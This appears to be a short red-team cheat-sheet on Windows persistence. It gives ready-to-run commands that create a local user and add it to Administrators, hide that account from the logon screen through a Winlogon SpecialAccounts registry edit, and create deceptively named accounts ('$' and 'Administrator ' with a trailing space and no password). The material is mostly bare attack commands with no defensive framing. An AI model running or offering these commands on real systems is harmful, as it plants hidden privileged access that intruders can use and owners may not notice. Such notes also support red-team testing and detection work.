Add User

Hide From Logon Screen

Creating User and Adding to Local Administrators

net user spotless spotless /add & net localgroup Administrators spotless /add

Hide Newly Created Local administrator

This will only hide the username from winlogon screen (windows login GUI screen), but the user can be detected with net user command

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v spotless /d 0 /f

Create a Hidden User Called "$"

Creating a user with a username containing "$"

net user $ ATOMIC123! /add /active:yes

Create an "Administrator " user (with a space on the end)

New-LocalUser -Name "Administrator " -NoPassword